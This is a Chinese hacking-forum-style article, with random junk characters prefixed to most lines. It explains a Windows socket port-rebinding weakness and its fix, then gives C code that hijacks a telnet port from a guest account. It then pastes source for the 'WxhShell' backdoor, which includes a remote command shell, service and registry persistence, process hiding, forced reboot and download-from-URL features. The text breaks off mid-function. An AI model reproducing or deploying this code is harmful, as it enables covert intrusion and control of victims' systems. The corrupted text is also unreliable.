在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
bT6VxbNS s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
vvG"rU tJ7F.}\;C saddr.sin_family = AF_INET;
r
\[|'hA XUKlgl!+. saddr.sin_addr.s_addr = htonl(INADDR_ANY);
as'yYn8 *dxm|F98 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
RO|8NC<oj 4"H*hKp 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
'9=b@SaAj ~o/k?l 这意味着什么?意味着可以进行如下的攻击:
pF7N = mO G"m?2$^-A 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
xticC> t|V<K^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
W/%hS)75 K a&
2>F 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
1Y&W>p 5eE\
X / 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
I`*5z;Q!%@ i39ZBs@ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
C
#iZAR 6PYm?i=p? 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
.drY 934j5D 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
;Ce?f=4 ^N[ Cip}8 #include
8nu!5 3 #include
m [^)Q9o} #include
7K
"1^ #include
!'~L dl DWORD WINAPI ClientThread(LPVOID lpParam);
_/z_
X int main()
iLIb-d?!a& {
CuH4~6 WORD wVersionRequested;
%qz-b. DWORD ret;
jrFPd WSADATA wsaData;
xEurkR BOOL val;
QNINn>2 SOCKADDR_IN saddr;
Exqz$'(W9 SOCKADDR_IN scaddr;
`,xO~_
e> int err;
C3Q #[ SOCKET s;
v@ OELJX SOCKET sc;
.%{B=_7 int caddsize;
B*mZxY1 HANDLE mt;
T0")Ryu DWORD tid;
O|+ZEBP wVersionRequested = MAKEWORD( 2, 2 );
.`m|Uf#"
_ err = WSAStartup( wVersionRequested, &wsaData );
?g{[U0) if ( err != 0 ) {
3e;|KU printf("error!WSAStartup failed!\n");
O5vfcX4> return -1;
n}F$kyI }
2w3LK2`ZL saddr.sin_family = AF_INET;
]|eMEN[' -%Vh-;Ie( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
D{Nd2G __xmn{{L6P saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
i_Q1\_m ! saddr.sin_port = htons(23);
zHz>Gc if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@,eo* {
2<5LQr printf("error!socket failed!\n");
G gA:;f46 return -1;
X!LiekU!D }
WN{8gL&y val = TRUE;
;Us6:}s //SO_REUSEADDR选项就是可以实现端口重绑定的
DvQV_D if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
J.: {
rgCC3TX printf("error!setsockopt failed!\n");
/klo),|& return -1;
~y"R{-%uS }
Bj2iYk_cLa //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
!{CIP`P1 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
[[^r;XKQ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Xe\}(O zeQ~'ao< if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
[&*irk {
^_Lnqk6 ret=GetLastError();
T88$sD.2
' printf("error!bind failed!\n");
4qsct@K, return -1;
r9u'+$vmF }
q`{@@[/(y listen(s,2);
w9GY/] while(1)
(*\&xRY|C {
@H$am caddsize = sizeof(scaddr);
GY-4w@Wl //接受连接请求
nbP}a?XC sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
:KvZP:T if(sc!=INVALID_SOCKET)
&$CyT6mb^ {
~s4JGV~R mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
EH2): if(mt==NULL)
lshSRir {
!gLJBp printf("Thread Creat Failed!\n");
}0E@eL break;
D[@-`F }
U&B(uk(2 }
)E=B;.FH CloseHandle(mt);
,/Gp>Yqx }
{@7UfJh> closesocket(s);
^Ff fc@= WSACleanup();
|>U<EtA" return 0;
;:[P/eg }
{`2 0' DWORD WINAPI ClientThread(LPVOID lpParam)
V?JmIor {
Pfvb?Hy SOCKET ss = (SOCKET)lpParam;
uv$5MwKU SOCKET sc;
8i`T?KB unsigned char buf[4096];
XU}i<5 SOCKADDR_IN saddr;
\)\n5F:Zu long num;
E5P.x^ DWORD val;
nY1PRX\ DWORD ret;
8cY5:plK
//如果是隐藏端口应用的话,可以在此处加一些判断
K[noW //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
K6B6@ saddr.sin_family = AF_INET;
Lp$&eROFVs saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
v8E:64 saddr.sin_port = htons(23);
;MYK TE>m if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
md{1Jn" {
78xiT printf("error!socket failed!\n");
=u9e5n return -1;
U/q"F<?.c }
$?kTS1I( val = 100;
P!9-!+F" if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~rOvVi&4 {
e'npa*.e ret = GetLastError();
)06. dZq\ return -1;
C;ha2UV0H }
.ejC#vB{KM if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
t9W* N\ {
fF/;BSq' ret = GetLastError();
p,8:(|( return -1;
O>X!78]#K }
7[ kDc- if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
C\C*@9=&x {
u^ wGVg printf("error!socket connect failed!\n");
0\ j)!b closesocket(sc);
cru&nH*O^ closesocket(ss);
GF<SQHL, return -1;
w"Zws[pm] }
yyVJb3n5:! while(1)
{2g?+8L$Z {
S,+|A)\# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
!C' Y
7 //如果是嗅探内容的话,可以再此处进行内容分析和记录
Gqar5 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
"$%&C%t num = recv(ss,buf,4096,0);
6 ;\>, if(num>0)
=x^IBLHN send(sc,buf,num,0);
\"K:<+RH else if(num==0)
W-RshZ\ break;
) { "}bMf num = recv(sc,buf,4096,0);
+Sv2'& B if(num>0)
R^I4_ZA send(ss,buf,num,0);
]Ah<kq2sk else if(num==0)
&s.-p_4w^D break;
r)qow.+& }
"\afIYS I closesocket(ss);
J(,gLl closesocket(sc);
QA!'p1{# return 0 ;
M|z4Dy }
.0y .0=l x*^)B~7} 1G, ' ==========================================================
A sf]sU.. N':d
T 下边附上一个代码,,WXhSHELL
c&L|e$C] +{e2TY ==========================================================
b Oh[(O! jvE&%|Ngw #include "stdafx.h"
,}OQzK/"mP %8%0l*n' #include <stdio.h>
_32 o7}!x #include <string.h>
;ahI}} #include <windows.h>
JHVesX #include <winsock2.h>
olDzmy(=W* #include <winsvc.h>
9qJ:h-?M #include <urlmon.h>
&ujq6~# )!`>Q|]}Zd #pragma comment (lib, "Ws2_32.lib")
6O'B:5~[2 #pragma comment (lib, "urlmon.lib")
eNt1P`2[ ^zS|O]Tx #define MAX_USER 100 // 最大客户端连接数
5@Xy) z #define BUF_SOCK 200 // sock buffer
6CWm;%B#G #define KEY_BUFF 255 // 输入 buffer
?B4X&xf.D Fmrl*tr #define REBOOT 0 // 重启
:?gk=JH: #define SHUTDOWN 1 // 关机
Q;p%
VQ CM%;r5 #define DEF_PORT 5000 // 监听端口
+u7nx za4:Jdr #define REG_LEN 16 // 注册表键长度
V@ph.)z #define SVC_LEN 80 // NT服务名长度
=G/`r!r*0I \]t}N // 从dll定义API
n<7R6)j6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
3:P "6mN typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
G?yG|5.pU typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
v|r# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
klC48l RZKczZGZg // wxhshell配置信息
Nj4^G ~_ struct WSCFG {
7;:Uv= int ws_port; // 监听端口
jP"='6Vrw char ws_passstr[REG_LEN]; // 口令
_"";SqVB int ws_autoins; // 安装标记, 1=yes 0=no
_Nq7_iT0 char ws_regname[REG_LEN]; // 注册表键名
iX'#~eK*< char ws_svcname[REG_LEN]; // 服务名
1|\/2 char ws_svcdisp[SVC_LEN]; // 服务显示名
V IU4QEW`x char ws_svcdesc[SVC_LEN]; // 服务描述信息
RV+0C&0ff char ws_passmsg[SVC_LEN]; // 密码输入提示信息
`zRm
"G int ws_downexe; // 下载执行标记, 1=yes 0=no
> 1&_- char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
6m{1im= char ws_filenam[SVC_LEN]; // 下载后保存的文件名
=arrp: olf7L% };
wTY8={p] Z\M8DZW8Y // default Wxhshell configuration
7q _.@J struct WSCFG wscfg={DEF_PORT,
2l!* o7 "xuhuanlingzhe",
|b:91l 1,
$5/lU
}To "Wxhshell",
a)Ca:p "Wxhshell",
B mxBbg "WxhShell Service",
APu cA "Wrsky Windows CmdShell Service",
yY42+%P "Please Input Your Password: ",
|nj,]pA 1,
wi/dR}*A "
http://www.wrsky.com/wxhshell.exe",
|d8x55dk "Wxhshell.exe"
:s OsG&y };
iPPW_Q9x 2f$6}m'Ad // 消息定义模块
RBzBR)@5 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
U:
Q&sq8U char *msg_ws_prompt="\n\r? for help\n\r#>";
VlQaT7Q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
~<#!yRy>r char *msg_ws_ext="\n\rExit.";
U#!f^@&AB char *msg_ws_end="\n\rQuit.";
!G3d5d2)C char *msg_ws_boot="\n\rReboot...";
07L1 " char *msg_ws_poff="\n\rShutdown...";
/"<o""<] char *msg_ws_down="\n\rSave to ";
zcNv T ta 66AEc9 char *msg_ws_err="\n\rErr!";
PxHHh{y%c char *msg_ws_ok="\n\rOK!";
Os-sYaW H|0GRjC char ExeFile[MAX_PATH];
AlRng&o~ int nUser = 0;
IvyBK]{| HANDLE handles[MAX_USER];
`by\@xQ) int OsIsNt;
tZ]/?+1G }[OOkYF#r SERVICE_STATUS serviceStatus;
zLiFk<G@Xi SERVICE_STATUS_HANDLE hServiceStatusHandle;
7R=cxD& -?$Hr\ // 函数声明
z!GLug*j` int Install(void);
\L:;~L/ int Uninstall(void);
-q.tU*xf' int DownloadFile(char *sURL, SOCKET wsh);
)!&7X L[ int Boot(int flag);
m:7$"oq| void HideProc(void);
HsGyNkr?r int GetOsVer(void);
4>&%N\$* int Wxhshell(SOCKET wsl);
^l4=/=RR void TalkWithClient(void *cs);
.:b|imgiv int CmdShell(SOCKET sock);
-C|1O%. int StartFromService(void);
>f$>Odqe int StartWxhshell(LPSTR lpCmdLine);
yJ&`@gB p|z\L}0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
^sp+ sr : VOID WINAPI NTServiceHandler( DWORD fdwControl );
M6P`~emX2 SGREpOlJ+ // 数据结构和表定义
?x(]U+ SERVICE_TABLE_ENTRY DispatchTable[] =
F#w=z/ {
|h; _r& {wscfg.ws_svcname, NTServiceMain},
E$'Zd,|f= {NULL, NULL}
iwl\&uNQU };
q >|:mXR <Yk#MeiEp // 自我安装
BQcrF{q int Install(void)
y[s* %yP3l {
Xk_xTzJ char svExeFile[MAX_PATH];
-4&SYCw HKEY key;
y%21`y&Os strcpy(svExeFile,ExeFile);
/^kZ}}9baU R)3P"sGuN // 如果是win9x系统,修改注册表设为自启动
=!b<@41 if(!OsIsNt) {
i%8I (F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(CRY$+d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
"?Eh_Dw RegCloseKey(key);
Tkhu, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
yE(> R(^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
J3oj}M* RegCloseKey(key);
@"9^U_Qf1z return 0;
<(YmkOS+ }
^gwVh~j }
OA\2ja~+ }
Qo!/]\ else {
+)#d+@- MZGN,[~)6 // 如果是NT以上系统,安装为系统服务
dcMWCK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
J
00%,Ju_ if (schSCManager!=0)
7(m4,l+( {
*<yKT$(+_ SC_HANDLE schService = CreateService
4}FuoQL (
^FJ=/ #@T schSCManager,
fA!uSqR$V
wscfg.ws_svcname,
9Z,vpTE wscfg.ws_svcdisp,
k#8,:B2 SERVICE_ALL_ACCESS,
S{7*uK3$ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
/lKgaq. SERVICE_AUTO_START,
o*2TH2 SERVICE_ERROR_NORMAL,
M^\#(0^2@ svExeFile,
?u/Uov@rD NULL,
i]:T{2 NULL,
/ c1=`OJ NULL,
? *I2?
NULL,
NJfI9 L NULL
q<L>r?T[ );
uV r6tb1 if (schService!=0)
@B;2z_Y!l {
e&G!5kz! CloseServiceHandle(schService);
uXiAN#1 CloseServiceHandle(schSCManager);
6Y^UC2TBs strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
wu5]S)?* strcat(svExeFile,wscfg.ws_svcname);
*/iD68r|- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
:- B,Q3d RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
C%ibIcm y RegCloseKey(key);
TAbd[:2{F return 0;
0z@KkU{Z }
UPs*{m }
T^3_d93}d CloseServiceHandle(schSCManager);
\|\Dc0p} }
jm1f,=R }
(9r\YNK vtyk\e) return 1;
8RJXY:% }
tMxa:h;/x p._BG80 // 自我卸载
gs)wQgJ [ int Uninstall(void)
1Wd?AyTY, {
7%C6hEP/*W HKEY key;
x8i;uH\8 (Zi(6 T\z if(!OsIsNt) {
5gnNgt~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~1xln?Q RegDeleteValue(key,wscfg.ws_regname);
m\>531& RegCloseKey(key);
w5 nzS)B:u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
UR|UGldt_T RegDeleteValue(key,wscfg.ws_regname);
Jh2eo+/% RegCloseKey(key);
+]^6&MqO return 0;
tZlz0BY! }
pI2g\cH> }
4.)hC b }
mJT< else {
0j*-ZvE)30 ]O'dwC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
(R)\ if (schSCManager!=0)
Kbjt CI7 {
VT1Nd SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
aa:Oh^AJy if (schService!=0)
MW|Qop[ {
qMT7g LB'1 if(DeleteService(schService)!=0) {
40cgsRa| CloseServiceHandle(schService);
~ B0L7}d CloseServiceHandle(schSCManager);
fx@Hd!nO~" return 0;
}HB)%C50. }
Q+(}nz4 CloseServiceHandle(schService);
~e,k71 }
~A<1xszC CloseServiceHandle(schSCManager);
JBa( O-T }
1<#J[$V }
#~J)?JL b#%s! return 1;
@i`*i@g }
~IvAnwQ' k2Yh?OH // 从指定url下载文件
X2b<_j3 int DownloadFile(char *sURL, SOCKET wsh)
A<ca9g3 {
D<9FSxl6 HRESULT hr;
l$KC\$?%* char seps[]= "/";
5:(uD3] char *token;
g3~e#vdz char *file;
~nk{\ rWO char myURL[MAX_PATH];
.>z)6S_G char myFILE[MAX_PATH];
n"YY:Gm;8 s)Bl1\Q strcpy(myURL,sURL);
K5-wuD1 token=strtok(myURL,seps);
lA[BV7.=7 while(token!=NULL)
wYnsd7@I {
J@RhbsZn file=token;
C.I.f9s?R token=strtok(NULL,seps);
JjarMJr|D }
nb}* IExd u,i~,M GetCurrentDirectory(MAX_PATH,myFILE);
ud]O'@G< strcat(myFILE, "\\");
*,g|I8?%VD strcat(myFILE, file);
rUjK1A{V send(wsh,myFILE,strlen(myFILE),0);
"&;>l<V send(wsh,"...",3,0);
BS<5b*wG hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
] h3~>8< if(hr==S_OK)
,$irJz F return 0;
7PG&G5 else
((i%h^tGa; return 1;
|^jl^oW bdh6ii }
~"eos~AuW p!5oz2RK // 系统电源模块
JWhi*je int Boot(int flag)
5Ug.J{d {
5~&9/ALk5 HANDLE hToken;
61e)SIRz9I TOKEN_PRIVILEGES tkp;
PCzC8~t >`Xikn( if(OsIsNt) {
oNHbQ&h OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
WW33ZJ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
/wplP+w2 tkp.PrivilegeCount = 1;
G gmv(! tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
HGqT"NJr AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
9PXG*r|D if(flag==REBOOT) {
Fd@n#DR ` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
E ,5XX;| return 0;
7x8/Vz@\ }
oujg(
^E else {
|F)BKo D if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
7:7i}`O return 0;
bup)cX^ }
Db"jzMW. }
_;baZ- else {
O iRhp( if(flag==REBOOT) {
f9FJ:? if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
0mcZe5RS return 0;
/NvHM$5O% }
X|!VtO else {
Pn:L=* if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
3^m0 k
E return 0;
Pf`HF|NI }
o6L eC* }
$yG>=GN s;!TB6b@ return 1;
chw6_ctR> }
Wk1o H bgD4;)?5b // win9x进程隐藏模块
om6'%nXhn void HideProc(void)
A")F7F31c {
t[HfaW1W fBtTJ+51} HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
s~N WJ*i if ( hKernel != NULL )
e}%~S9\UL5 {
#{-l(016y pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
*E$& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
OV<'v%_& FreeLibrary(hKernel);
Q<4Sd:P`" }
3 !W
M'i CK4C:`YG return;
TmI~P+5w }
\F`%vZrKR `M0m`Up // 获取操作系统版本
?` ?HqR0 int GetOsVer(void)
H@ab]& {
|~)!8N.{ OSVERSIONINFO winfo;
WI@l2`X winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
{D6lSj GetVersionEx(&winfo);
AlZ]UGf^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
%UGXgYDz return 1;
`h%(ZG~ else
Y3%_IwSJ| return 0;
62L,/?`B$ }
jVA|Vi_2 9j'(T:Zs // 客户端句柄模块
D(bQFRBY6" int Wxhshell(SOCKET wsl)
B?bdHO:E~ {
:SBB3G)| SOCKET wsh;
h=<x%sie struct sockaddr_in client;
3a|I| NP DWORD myID;
Sfl. &A( 6uNWL `v while(nUser<MAX_USER)
]7+9>V {
L!/Zw~ int nSize=sizeof(client);
K+HP2|#6 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
VsIDd}~C% if(wsh==INVALID_SOCKET) return 1;
Y52f8qQq {|!>
{ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
2%!yV~Z if(handles[nUser]==0)
pi?$h"y7Q closesocket(wsh);
CEQs}bz else
JU>F&g/| nUser++;
'YFy6rds }
MS7rD%(,' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
aK|],L =}F}XSvXH return 0;
d8N{sT }
TwdY6E3` >#u9W'@| // 关闭 socket
wqx9 void CloseIt(SOCKET wsh)
LH_VdLds {
Sbzx7 *X closesocket(wsh);
zDD nUser--;
H6o_*Y ExitThread(0);
}BFX7X }
+f){x9
: NeI#gJ1A // 客户端请求句柄
>6X$iBb0 void TalkWithClient(void *cs)
zG^|W8um_ {
b8FSVV
7@ J?R\qEq% SOCKET wsh=(SOCKET)cs;
|3]#SqX char pwd[SVC_LEN];
#(Xv\OE char cmd[KEY_BUFF];
2E0A` char chr[1];
Z;'5A2 int i,j;
rq(9w*MW: bukdyo;l while (nUser < MAX_USER) {
s:/Wz39SY3 #[odjSb if(wscfg.ws_passstr) {
UlNx5l+k if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7!;48\O]w //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
i]$/& / //ZeroMemory(pwd,KEY_BUFF);
BV"l;&F[ i=0;
lZ'ZL* while(i<SVC_LEN) {
v#^ _| S UBrFsA // 设置超时
I+GP`=\ fd_set FdRead;
/mK."5-cm struct timeval TimeOut;
.ri?p:a}w FD_ZERO(&FdRead);
OCN:{ FD_SET(wsh,&FdRead);
'.gLqm}% TimeOut.tv_sec=8;
TdKo"H*C TimeOut.tv_usec=0;
9O4\DRe5c int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
s=8$h:^9> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
{3@"}Eh z(dDX%k@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
]^>RBegJBO pwd
=chr[0]; cgV5{|P
if(chr[0]==0xd || chr[0]==0xa) { Xh?J"kjof
pwd=0; zqCr'$
break; =38c}(
} |_\q5?S
i++; w,zm$s ^
} O5v~wLx9e
0c
GjOl
// 如果是非法用户,关闭 socket `st^i$A
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dUc?>#TU
} l\6.f_
\R.Fmeko
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u`gY/]y!
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~Q2,~9Dkc
3J}/<&wv
while(1) { 0?w4
$h|8z
ZeroMemory(cmd,KEY_BUFF); c:u2a/Q?
\E8CC>Jd
// 自动支持客户端 telnet标准 4"et4Y7
j=0; RD6`b_]o
while(j<KEY_BUFF) { UNCI"Mjb
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]]6
cmd[j]=chr[0]; 0czEA
if(chr[0]==0xa || chr[0]==0xd) { 9RQw6rL
cmd[j]=0; nC@UK{tVa
break; :^ J'_
} >U62vX"
j++; D8=a +!l-
} D {N,7kT
AkX8v66:
// 下载文件 VI;)VJbq
if(strstr(cmd,"http://")) { %-O[%Dy
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ixr#zt$T-G
if(DownloadFile(cmd,wsh)) $@eFSA5k,7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pVC;''E
else _<7e5VR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &-(p~[|
} B'-L-]\H
else { ^T_2s
lk%W2N5
switch(cmd[0]) { N6uKFQL:{
6#(rWW"_
// 帮助 5tcJTz
case '?': { `cpUl*Y=
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (a@}J.lL
break; tRmH6
} RrRE$g
// 安装 (db4.G+0
case 'i': { w<G'gi]
if(Install()) B$&&'i%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z)dE#A_X
else |s{[<;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !/6KQdF
break; '/GZ,~q
} O`2hTY\
// 卸载 lPOcX'3\
case 'r': { =7 ${bp!
if(Uninstall()) p'YNj3&u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tjt#2i8/
else {aYCrk1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /+{1;}AT
break; U
Y')|2y
5
} 6dQ]=];
// 显示 wxhshell 所在路径 .+2@(r
case 'p': { cP&XkAQ
char svExeFile[MAX_PATH]; .h@HAnmE
strcpy(svExeFile,"\n\r"); G&v. cF#Y'
strcat(svExeFile,ExeFile); VQ'DNv| 9
send(wsh,svExeFile,strlen(svExeFile),0); v@;!fBUt
break; (g#,AX
} $S{]` +
// 重启 sA[eKQjaD
case 'b': { -?PXj)<
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JN<IMH
if(Boot(REBOOT)) @DK;i_i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0OPpA Ll
else { 0\Ga&Q0-(O
closesocket(wsh); riY[p,
ExitThread(0); X7{ h/^
} X)k+BJ
break; zx=AT
} M`gr*p
// 关机 5Q.z#]Lg
case 'd': { ,`;Dre
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h;`]rK;g
if(Boot(SHUTDOWN)) ZX03FJL7u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }5a$Ka-
else { F]7$Y
closesocket(wsh); G,JK$j>*l
ExitThread(0); Gw0MDV&[
} ,?ci+M)
break; =EdLffU[J
} v
%GcNjZk5
// 获取shell U8s&5~IPn
case 's': { bsgr g
CmdShell(wsh); p@bcf5'
closesocket(wsh); *w_f-YoXp
ExitThread(0); O a#m}b
break; Mg}8 3kS
} (b4;c=<[{
// 退出 @gHWU>k,A
case 'x': { {ehAF=C
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ri&?uCCM
CloseIt(wsh); _$YT*o@0J
break; Y~ ( <H e?
} #Hy fjj
// 离开 2*9rhOK*
case 'q': { ;yVT:qd
%
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ij}k>qO/2
closesocket(wsh); +/Q?<*[
WSACleanup(); >Vvjs
exit(1); L fx$M
break; |"XxM(Dm
} E2a00i/9Y
} 5Sfz0
} KD)+&69
N0 F|r8xS
// 提示信息 !JE=QG"
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _aLml9f
W
} k6PHyt`3'
} !mLD`62.
=zXii{t
return; qH-':|h7
} dJYQdo^X
Bm&% N?9
// shell模块句柄 \"^.>+
int CmdShell(SOCKET sock) {^qp~0
{ mFu0$N6]H
STARTUPINFO si; iQnIk|8
ZeroMemory(&si,sizeof(si)); 0nV|(M0lu?
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U*7Yi-"/*
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `OWw<6`k
PROCESS_INFORMATION ProcessInfo; U)g27*7
char cmdline[]="cmd"; ;mYj`/Yj
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %.+#e
return 0; =fZMute
} >84:1`
P-c<[DSM'I
// 自身启动模式 [#hoW"'Q9
int StartFromService(void) @3@oaa/v
{ :Kt'Fm,s?
typedef struct hB:}0@l6p=
{ 9V5d=^
DWORD ExitStatus; n'-?CMH`
DWORD PebBaseAddress; =TzmhX5
DWORD AffinityMask; }|W n6X
DWORD BasePriority; |KQkmc
ULONG UniqueProcessId; )^'g2gVK+p
